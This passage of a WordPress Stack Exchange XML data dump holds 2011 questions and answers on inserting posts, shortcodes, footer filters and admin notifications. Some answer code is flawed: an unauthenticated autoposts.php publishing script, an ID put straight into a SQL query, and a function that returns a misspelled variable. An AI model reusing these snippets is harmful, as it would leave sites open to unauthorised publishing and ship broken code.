  <row Id="20590" PostTypeId="1" AcceptedAnswerId="20592" CreationDate="2011-06-20T07:10:29.593" Score="1" ViewCount="67" Body="&lt;p&gt;I have to insert posts programatically in Wordpress. I want that I should be able to publish posts via a url. Something like www.mypage.com/insertnewpost.php?title=blah&amp;amp;content=blahblahblah&amp;amp;category=1,2,3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code works only if I use it inside the functions.php file of the themes. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include '../../../wp-includes/post.php';&#xA;global $user_ID;&#xA;$new_post = array(&#xA;'post_title' =&amp;gt; 'My New Post',&#xA;'post_content' =&amp;gt; 'Lorem ipsum dolor sit amet...',&#xA;'post_status' =&amp;gt; 'publish',&#xA;'post_date' =&amp;gt; date('Y-m-d H:i:s'),&#xA;'post_author' =&amp;gt; $user_ID,&#xA;'post_type' =&amp;gt; 'post',&#xA;'post_category' =&amp;gt; array(0)&#xA;);&#xA;$post_id = wp_insert_post($new_post);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However when I try to create a new page like insertnewposts.php and use the above code there I get errors like &#xA;Fatal error: Call to undefined function add_action() in Z:\www\wordpress\wp-includes\post.php on line 144&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help.&lt;/p&gt;&#xA;" OwnerUserId="6398" LastActivityDate="2011-06-21T12:45:38.733" Title="wordpress inserting posts programatically through a url" Tags="&lt;php&gt;&lt;xml-rpc&gt;" AnswerCount="2" />
  <row Id="20591" PostTypeId="2" ParentId="20590" CreationDate="2011-06-20T07:41:22.170" Score="0" ViewCount="" Body="&lt;p&gt;Hope the answer on this link is useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stackoverflow.com/questions/3947979/fatal-error-call-to-undefined-function-add-action/3952058#3952058&quot;&gt;Fatal error: Call to undefined function add_action()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the common functions are accessible in your &lt;code&gt;Z:\www\wordpress\wp-includes\post.php&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7237" LastActivityDate="2011-06-20T07:41:22.170" CommentCount="1" />
  <row Id="20592" PostTypeId="2" ParentId="20590" CreationDate="2011-06-21T05:00:29.810" Score="1" ViewCount="" Body="&lt;p&gt;I finally got the answer to the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make &lt;em&gt;this&lt;/em&gt; code work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $user_ID;&#xA;$new_post = array(&#xA;'post_title' =&amp;gt; 'My New Post',&#xA;'post_content' =&amp;gt; 'Lorem ipsum dolor sit amet...',&#xA;'post_status' =&amp;gt; 'publish',&#xA;'post_date' =&amp;gt; date('Y-m-d H:i:s'),&#xA;'post_author' =&amp;gt; $user_ID,&#xA;'post_type' =&amp;gt; 'post',&#xA;'post_category' =&amp;gt; array(0)&#xA;);&#xA;$post_id = wp_insert_post($new_post);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;we need to make sure that wordpress' bootstrap has been started... Wordpress bootstrap ensures that all wordpress configuration has been loaded into the memory. This includes all the core functions etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coming back to the original problem of &quot;inserting posts programatically&quot;, we need to call wp_insert_post() at the appropriate place &lt;em&gt;after&lt;/em&gt; starting the wp bootstrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this create a new php file like www.yourdomain.com/wpinstalldir/autoposts.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Writes new posts into wordpress programatically&#xA; *&#xA; * @package WordPress&#xA; */&#xA;&#xA;/** Make sure that the WordPress bootstrap has run before continuing. */&#xA;require(dirname(__FILE__) . '/wp-load.php');&#xA;&#xA;global $user_ID;&#xA;$new_post = array(&#xA;'post_title' =&amp;gt; 'My New Post',&#xA;'post_content' =&amp;gt; 'Lorem ipsum dolor sit amet...',&#xA;'post_status' =&amp;gt; 'publish',&#xA;'post_date' =&amp;gt; date('Y-m-d H:i:s'),&#xA;'post_author' =&amp;gt; $user_ID,&#xA;'post_type' =&amp;gt; 'post',&#xA;'post_category' =&amp;gt; array(0)&#xA;);&#xA;$post_id = wp_insert_post($new_post);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now when you will execute this script at www.yourdomain.com/wpinstalldir/autoposts.php your post will be created. Easy and simple!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just adding the line &lt;code&gt;require(dirname(__FILE__) . '/wp-load.php');&lt;/code&gt; made all the difference.&lt;/p&gt;&#xA;" OwnerUserId="6398" LastActivityDate="2011-06-21T05:00:29.810" />
  <row Id="20593" PostTypeId="1" AcceptedAnswerId="20910" CreationDate="2011-06-20T12:56:06.327" Score="0" ViewCount="44" Body="&lt;p&gt;I Installed Recent Posts Plugin in my Wordpress site.It Shows Correct Answer but it Shows  &quot;Recent Post&quot; at Header position.I don't want that text. Unfortunately i  can't remove that.please help me ...Is there any other php coding Available? &lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-24T01:01:30.023" Title="How to Get Recent 5 post in My Title bar?" Tags="&lt;plugins&gt;&lt;posts&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="20594" PostTypeId="1" AcceptedAnswerId="20598" CreationDate="2011-06-21T13:06:37.073" Score="0" ViewCount="72" Body="&lt;p&gt;Am Using Wordpress Blog.Here i want Use Tweetmeme Plugin.I want to show the output of the Tweetmeme Plugin to Customizing place(Side of the Post[Not Before or After]).The Plugin Creators are providing Shortcode.Shall i Use this shortcode in Template?I Guess this is not possible.So we need to change Shortcode as a function.How to Create a function from Shortcode?please help me.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-21T14:19:03.560" Title="May i Use ShortCode in Template?" Tags="&lt;plugins&gt;&lt;functions&gt;&lt;shortcode&gt;&lt;do-shortcode&gt;" AnswerCount="1" />
  <row Id="20595" PostTypeId="2" ParentId="20574" CreationDate="2011-06-21T13:06:39.663" Score="3" ViewCount="" Body="&lt;p&gt;Hey guys i think i got it! After looking at couple of functions in taxonomy.php file in wordpress i have found this function &lt;code&gt;get_object_taxonomies();&lt;/code&gt; which did the tricks :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_post_taxonomies($post_type){&#xA;    $args=array(&#xA;          'post_type' =&amp;gt; $post_type &#xA;        ); &#xA;&#xA;        $output = 'objects'; // name / objects&#xA;        $taxonomies = get_object_taxonomies($args,$output);&#xA;&#xA;&#xA;        return $tazonomies; //returning array of taxonomies&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-06-21T13:06:39.663" CommentCount="1" />
  <row Id="20596" PostTypeId="2" ParentId="20589" CreationDate="2011-06-21T13:09:07.990" Score="2" ViewCount="" Body="&lt;p&gt;On line &lt;code&gt;1524&lt;/code&gt; of &lt;code&gt;/home/studipe0/public_html/luxury/wp-includes/comment-template.php&lt;/code&gt; you need to find the &lt;code&gt;__()&lt;/code&gt; function call that is missing it's first argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should look something like &lt;code&gt;__( 'Put some text here' )&lt;/code&gt;. It is used to help translators localise your WordPress theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all honesty I'm not 100% sure why you would need to edit the &lt;code&gt;comment-template.php&lt;/code&gt; file at all. If you need to add extra fields to the form (which I'll assume you do), you might be better off looking at the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1353/adding-custom-fields-to-wordpress-comment-forms&quot;&gt;Adding Custom Fields to WordPress Comment Forms?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5689" LastEditorUserId="5689" LastEditorDisplayName="" LastEditDate="2011-06-21T13:18:35.140" LastActivityDate="2011-06-21T13:18:35.140" />
  <row Id="20597" PostTypeId="2" ParentId="20589" CreationDate="2011-06-21T13:12:30.833" Score="1" ViewCount="" Body="&lt;p&gt;First: what version of WordPress are you using, 3.0 or 3.1? It's probably not relevant to the question, really, since AFAIK there are no inherent problems with the core comment-template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second: did you replace the &lt;code&gt;comments.php&lt;/code&gt; file &lt;em&gt;in your Theme&lt;/em&gt;, or did you replace the &lt;code&gt;comment-template.php&lt;/code&gt; file &lt;em&gt;in WordPress core&lt;/em&gt;? I assume, based on your question, that it is the &lt;em&gt;latter&lt;/em&gt;. If so, then the answer is to &lt;em&gt;revert the core file to its original&lt;/em&gt; (&lt;strong&gt;never change core WordPress files!&lt;/strong&gt;), and instead modify the &lt;code&gt;comments.php&lt;/code&gt; template file &lt;em&gt;in your Theme&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-21T13:12:30.833" />
  <row Id="20598" PostTypeId="2" ParentId="20594" CreationDate="2011-06-21T13:14:15.887" Score="1" ViewCount="" Body="&lt;p&gt;Have you tried using the &lt;code&gt;do_shortcode()&lt;/code&gt; function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not familiar with the TweetMeme shortcode, but here's an example usage for putting a NextGen Gallery directly into a template file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo do_shortcode( '[slideshow id=&quot;1&quot; w=&quot;603&quot; h=&quot;270&quot;]' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simply replace with the appropriate shortcode (and parameters) for TweetMeme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Codex ref: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/do_shortcode&quot; rel=&quot;nofollow&quot;&gt;do_shortcode()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With TweetMeme, you have another option:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change the Plugin &quot;where&quot; setting from &quot;shortcode&quot; to &quot;manual&quot;&lt;/li&gt;&#xA;&lt;li&gt;Place the &lt;code&gt;tweetmeme()&lt;/code&gt; function in your Theme template file where you want to output the TweetMeme button.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-21T14:19:03.560" LastActivityDate="2011-06-21T14:19:03.560" CommentCount="3" />
  <row Id="20599" PostTypeId="2" ParentId="20569" CreationDate="2011-06-21T13:56:05.150" Score="1" ViewCount="" Body="&lt;p&gt;The plugin determines the width and height of the viewport on page load, but it's using $(window).height() which looks at the size of the viewport and then absolutely positions the content div over the image, relative to the viewport/window. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the page isn't loading at the top of the document, the content is absolutely positioned incorrectly, and at that point, there's no way to get it back down. (The scroll bar issue is bizarre, but I guess just a side effect.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin needs to check scrollPosition somehow, and adjust the dimensions accordingly. I'm still thinking about exactly how that would work...&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;OK Smock and I just talked. Try changing the #bg div from position: absolute; to position: fixed; and see if that solves your problem. You might lose iPad functionality at that point, FYI, but it should fix the weird anchor problem. Then it's your call how to handle it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, we both suggest: maybe don't use this plugin if you can help it cause it's a nightmare of positioning hassles that will never stop tormenting you. :D&lt;/p&gt;&#xA;" OwnerUserId="871" LastEditorUserId="871" LastEditorDisplayName="" LastEditDate="2011-06-21T14:09:13.237" LastActivityDate="2011-06-21T14:09:13.237" CommentCount="3" />
  <row Id="20600" PostTypeId="2" ParentId="20580" CreationDate="2011-06-21T14:44:01.647" Score="1" ViewCount="" Body="&lt;p&gt;For example if you don't want Wordpress to show update notifications for akismet, you will do it like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function filter_plugin_updates( $value ) {&#xA;    unset( $value-&amp;gt;response['akismet/akismet.php'] );&#xA;    return $value;&#xA;}&#xA;add_filter( 'site_transient_update_plugins', 'filter_plugin_updates' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-21T14:44:01.647" CommentCount="3" />
  <row Id="20601" PostTypeId="2" ParentId="20568" CreationDate="2011-06-21T14:50:30.207" Score="1" ViewCount="" Body="&lt;p&gt;Your site codereflect.com is not that heavy. Could be the Suffusion theme and its options making lots of DB calls. I'd use &lt;a href=&quot;http://wordpress.org/extend/plugins/debug-queries/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/debug-queries/&lt;/a&gt; to see what queries are being called and how many. And it also could be you're on a shared box at softlayer that is &quot;too&quot; shared with others.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-06-21T14:50:30.207" CommentCount="1" />
  <row Id="20602" PostTypeId="1" AcceptedAnswerId="20604" CreationDate="2011-06-21T15:50:42.003" Score="2" ViewCount="74" Body="&lt;p&gt;I was wondering is there a way to send the admin a notification (email or otherwise) whenever a user submits a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I have to log into the admin section to see if there was anything submitted. I need to review their post before actually publishing it, so I need to be notified via email whenever a post is submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a solution for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot&lt;/p&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2011-06-21T17:40:03.060" Title="How to get a nofication when post submitted" Tags="&lt;posts&gt;&lt;customization&gt;&lt;admin&gt;&lt;notifications&gt;" AnswerCount="1" />
  <row Id="20603" PostTypeId="1" CreationDate="2011-06-21T16:04:36.507" Score="0" ViewCount="72" Body="&lt;p&gt;I have figure out a way to echo a preexisting value into a custom post field of a post, but the value doesn't save until I manually update the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is in efforts to make my site as automated as possible by pulling preexisting user and post information to fill in required custom fields for the site. I have managed to insert the values but they won't save (or apply to the particular post) unless I click update. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know what for every post (backdated or new) will be automatically updated with the value echoed into the designated custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is possible, but not sure how to go about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of what I've done so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;    echo '&amp;lt;input type=&quot;text&quot; name=&quot;field[type]&quot; value=&quot;'.get_user_meta($post-&amp;gt;post_author, 'userphoto_image_file', true).'&quot; /&amp;gt;';&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code seems to work... Upon view the initial edit screen of a post the value is properly inserted into the field, but the change doesn't take effect on the front end of the site until the post is manually updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a solution for this to somehow auto-update or save the echoed value into the field so that it takes effect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any input is really appreciated. Have a nice day!&lt;/p&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2011-06-21T16:04:36.507" Title="Save Custom Field value without updating post" Tags="&lt;posts&gt;&lt;custom-field&gt;&lt;customization&gt;&lt;auto-update&gt;" CommentCount="2" />
  <row Id="20604" PostTypeId="2" ParentId="20602" CreationDate="2011-06-21T16:07:26.600" Score="2" ViewCount="" Body="&lt;p&gt;You could try this inside your themes functions.php:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;its a function by dagon design  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function dddn_process($id) {&#xA;&#xA;global $wpdb;&#xA;&#xA;$tp = $wpdb-&amp;gt;prefix;&#xA;&#xA;$result = $wpdb-&amp;gt;get_row(&quot;&#xA;    SELECT post_status, post_title, user_login, user_nicename, display_name&#xA;    FROM {$tp}posts, {$tp}users&#xA;    WHERE {$tp}posts.post_author = {$tp}users.ID&#xA;    AND {$tp}posts.ID = '$id'&#xA;&quot;);&#xA;&#xA;if ($result-&amp;gt;post_status == &quot;publish&quot;) {&#xA;&#xA;    $message = &quot;&quot;;&#xA;    $message .= &quot;A new post was submitted on '&quot; . get_bloginfo('name') . &quot;'\n\n&quot;;&#xA;    $message .= &quot;Title: &quot; . $result-&amp;gt;post_title . &quot;\n\n&quot;;&#xA;&#xA;&#xA;    $message .= &quot;Author: &quot; . $result-&amp;gt;display_name . &quot;\n\n&quot;;&#xA;&#xA;    $message .= &quot;Link: &quot; . get_permalink($id);&#xA;&#xA;    $subject = &quot;Post Submitted on '&quot; . get_bloginfo('name') . &quot;'&quot;;&#xA;&#xA;    $recipient = get_bloginfo('admin_email');&#xA;&#xA;    mail($recipient, $subject, $message);&#xA;&#xA;}&#xA;&#xA;}&#xA;&#xA;add_action('publish_post', 'dddn_process');  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditorDisplayName="" LastEditDate="2011-06-21T17:40:03.060" LastActivityDate="2011-06-21T17:40:03.060" CommentCount="5" />
  <row Id="20607" PostTypeId="1" CreationDate="2011-06-21T16:40:00.750" Score="0" ViewCount="60" Body="&lt;p&gt;I know this is possible to achieve by using wp_list_categories and listing the child of each category one at a time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to list all the children of the subcategories at the same time, without displaying the subcategory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;¿Is this possible? &lt;/p&gt;&#xA;" OwnerUserId="4804" LastActivityDate="2011-06-21T16:40:00.750" Title="List all subcategories children from a category without displaying subcategories" Tags="&lt;categories&gt;&lt;children&gt;" CommentCount="2" />
  <row Id="20608" PostTypeId="2" ParentId="715" CreationDate="2011-06-21T16:40:14.697" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Use WordPress's Coding Standards&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/WordPress_Coding_Standards&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/WordPress_Coding_Standards&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You know how much easier it is to update code you've worked on vs. code someone else has put together?  Coding standards make it easier for any developer working on a project to come in and see what's going on.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We know your plugin or theme is your own, and the way you break your lines and add your curly braces is an expression of your individuality.  Every indent is a carefully thought-out statement.  But with your custom code, you're contributing to WordPress, even if your code isn't in the core application.  Coding standards help developers quickly get up-to-speed with your code.&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2011-06-21T16:40:14.697" CommunityOwnedDate="2011-06-21T16:40:14.697" />
  <row Id="20610" PostTypeId="1" CreationDate="2011-06-21T17:08:24.303" Score="0" ViewCount="9" Body="&lt;p&gt;I have a community blog at thelazy.info, so if say there is a author Abhishek, his profile is thelazy.info/abhishek (thelazy.info/abhishek/page/2 doesn't work for unknown reasons). I want to have a photoblog for every user the same way with the link thelazy.info/author/pics. So Abhishek's photoblog will be at thelazy.info/abhishek/pics. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="1926" LastActivityDate="2011-06-21T17:08:24.303" Title="Photoblog on a community Blog" Tags="&lt;pictures&gt;" CommentCount="2" />
  <row Id="20611" PostTypeId="1" CreationDate="2011-06-21T17:11:43.237" Score="0" ViewCount="36" Body="&lt;p&gt;i've my homepage set as &quot;latest posts&quot; showing a selected category &quot;portfolio&quot;. In main menu i've &quot;portfolio&quot; as wp_nav_menu category &quot;portfolio&quot;. How can i do to apply current-item highlight to my menu ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe i'im wrong with this method...&lt;/p&gt;&#xA;" OwnerUserId="6368" LastActivityDate="2011-06-21T17:11:43.237" Title="Front page is latest posts showing a selected category... how to highlight current category in menu?" Tags="&lt;frontpage&gt;" CommentCount="1" />
  <row Id="20612" PostTypeId="1" AcceptedAnswerId="20630" CreationDate="2011-06-21T17:51:50.247" Score="0" ViewCount="45" Body="&lt;p&gt;I have this piece of code that works great: it retrieves a particular page from my WordPress database so I can wrap custom code around it in a template. In the instance below it grabs the page called Showreel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php&#xA;        $page = get_page_by_title('Showreel');&#xA;        ?&amp;gt;          &#xA;        &amp;lt;?php&#xA;             $my_id = $page;&#xA;             $post_id = get_post($my_id, ARRAY_A);&#xA;             $title = $post_id['post_title'];&#xA;             $content = $post_id['post_content'];&#xA;        ?&amp;gt;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;?php echo $title;?&amp;gt;&amp;lt;/h3&amp;gt;                       &#xA;        &amp;lt;?php &#xA;            echo $content&#xA;        ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I have conundrum - I have some pages that do not have unique names. How can I retrieve a page only if it is a direct descendant of a certain parent e.g. I would like to retrieve a page under Showreel called &lt;em&gt;The Ruth Rendell Mysteries&lt;/em&gt;. My initial thought was that the code below would work, but it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php&#xA;        $page = get_page_by_title('Showreel-&amp;gt;The Ruth Rendell Mysteries');&#xA;        ?&amp;gt;          &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6374" LastActivityDate="2011-06-21T20:40:53.853" Title="WordPress - Retrieve a Page if it's a direct descendant of another Page" Tags="&lt;untagged&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="20613" PostTypeId="2" ParentId="20612" CreationDate="2011-06-21T18:13:03.873" Score="1" ViewCount="" Body="&lt;p&gt;As you already discovered, the get_page_by_title function does not accept arguments in that fashion. However, if you look through the available functions at the Wordpress Docs site, you will find get_page_children():&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_page_children&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_page_children&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the code examples, they retrieve the page object with the get_page_by_title function and then get all of the children of that page. From there, you could separate out the page you wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see other functions and how they are used take a few minutes to browse through the rest of the Function Reference for some good examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps and good luck!&lt;/p&gt;&#xA;" OwnerUserId="6370" LastActivityDate="2011-06-21T18:13:03.873" CommentCount="1" />
  <row Id="20614" PostTypeId="1" AcceptedAnswerId="20615" CreationDate="2011-06-21T18:27:00.697" Score="0" ViewCount="88" Body="&lt;p&gt;Basically, I've got a plugin that searches for certain tokens in the entire page and replaces the tokens with images. The problem is, I've got one of those tokens in the footer and, as far as I can tell, there's no filter for the footer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is, is there a way to make a custom filter? And is that the best way to go about doing this? My plugin does a preg_match in the content and, if it finds, for example &quot;{picture here}&quot;, it replaces it. I'm not sure how to extend this functionality to the footer, though?  &lt;/p&gt;&#xA;" OwnerUserId="6378" LastActivityDate="2011-06-21T18:53:44.053" Title="Custom Filter in Wordpress to modify footer information via plugin?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="20615" PostTypeId="2" ParentId="20614" CreationDate="2011-06-21T18:53:44.053" Score="1" ViewCount="" Body="&lt;p&gt;Most of the footer is straight-up PHP/HTML markup.  You apply filters to dynamic content, which is why there isn't a typical footer &quot;filter.&quot;  That said, it's relatively easy to add your own filters to WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say your &lt;code&gt;footer.php&lt;/code&gt; consists of the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;/div&amp;gt;    &amp;lt;!-- close main content div&amp;gt;&#xA;&amp;lt;div id=&quot;footer&quot;&amp;gt;&#xA;    &amp;lt;p class=&quot;copyright&quot;&amp;gt;Copyright 2011 By Me&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And lets say you want to dynamically replace the word &quot;copyright&quot; with the standard C image using your filter.  You'd replace this with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;/div&amp;gt;    &amp;lt;!-- close main content div&amp;gt;&#xA;&amp;lt;div id=&quot;footer&quot;&amp;gt;&#xA;    &amp;lt;p class=&quot;copyright&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;    echo apply_filters( 'my_footer_filter', 'Copyright 2011 By Me' );&#xA;    ?&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This creates a custom filter called &quot;my_footer_filter&quot; and applies it to the text &quot;Copyright 2011 By Me.&quot;  In your &lt;code&gt;functions.php&lt;/code&gt; file, you can use this filter just like you would any other:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function replace_copyright( $copyright ) {&#xA;    // do something to $copyright&#xA;    return $copyright;&#xA;}&#xA;add_filter( 'my_footer_filter', 'replace_copyright' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-21T18:53:44.053" CommentCount="1" />
  <row Id="20616" PostTypeId="1" AcceptedAnswerId="20629" CreationDate="2011-06-21T19:01:24.030" Score="0" ViewCount="36" Body="&lt;p&gt;It is referenced in load_template but Wp does nothing with it ?!!! so what's the use ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1105  function load_template( $_template_file, $require_once = true ) {&#xA;1106      global $posts, $post, $wp_did_header, $wp_did_template_redirect, $wp_query, $wp_rewrite, $wpdb, $wp_version, $wp, $id, $comment, $user_ID;&#xA;1107  &#xA;1108      if ( is_array( $wp_query-&amp;gt;query_vars ) )&#xA;1109          extract( $wp_query-&amp;gt;query_vars, EXTR_SKIP );&#xA;1110  &#xA;1111      if ( $require_once )&#xA;1112          require_once( $_template_file );&#xA;1113      else&#xA;1114          require( $_template_file );&#xA;1115  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4078" LastActivityDate="2011-06-21T20:17:07.633" Title="What's the purpose of $wp_did_header?" Tags="&lt;template&gt;" AnswerCount="1" />
  <row Id="20617" PostTypeId="1" AcceptedAnswerId="20638" CreationDate="2011-06-21T19:12:36.690" Score="0" ViewCount="28" Body="&lt;p&gt;My code validates and returns the custom field value. However, I can't get the value to return inside of the anchors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;meta_mblink&quot;&amp;gt;&#xA;&amp;lt;?&#xA;if(function_exists('get_custom_field_data')) {&#xA;echo '&amp;lt;a href=&quot;'.get_custom_field_data('mblink', true).'&quot;&amp;gt;&amp;lt;/a&amp;gt;';&#xA;} &#xA;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what is returned:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;meta_mblink&quot;&amp;gt;&#xA;http://yada.yadayada.yada:5000/pop.jsp?id=1711436&#xA;&amp;lt;a href=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4499" LastActivityDate="2011-06-21T21:52:18.493" Title="Value prints outside of the echo" Tags="&lt;php&gt;" AnswerCount="4" />
  <row Id="20618" PostTypeId="1" AcceptedAnswerId="20628" CreationDate="2011-06-21T19:29:59.653" Score="0" ViewCount="46" Body="&lt;p&gt;I've been searching for how to do this for a while but to no avail. Part of my template is using a lot of the same code, i.e. retrieving a specific page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this was Javascript I'd set up a function and keep calling the function. How can I call the code below repeatedly?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $page = get_page_by_title('Excerpts Showreel'); &amp;lt;-- This piece of code will change&#xA;// the code below will never change.&#xA;?&amp;gt;&#xA;&amp;lt;?php&#xA;    $my_id = $page;&#xA;    $post_id = get_post($my_id, ARRAY_A);&#xA;    $title = $post_id['post_title'];&#xA;    $content = $post_id['post_content'];&#xA;?&amp;gt;&#xA;&amp;lt;?php &#xA;    echo $content&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6374" 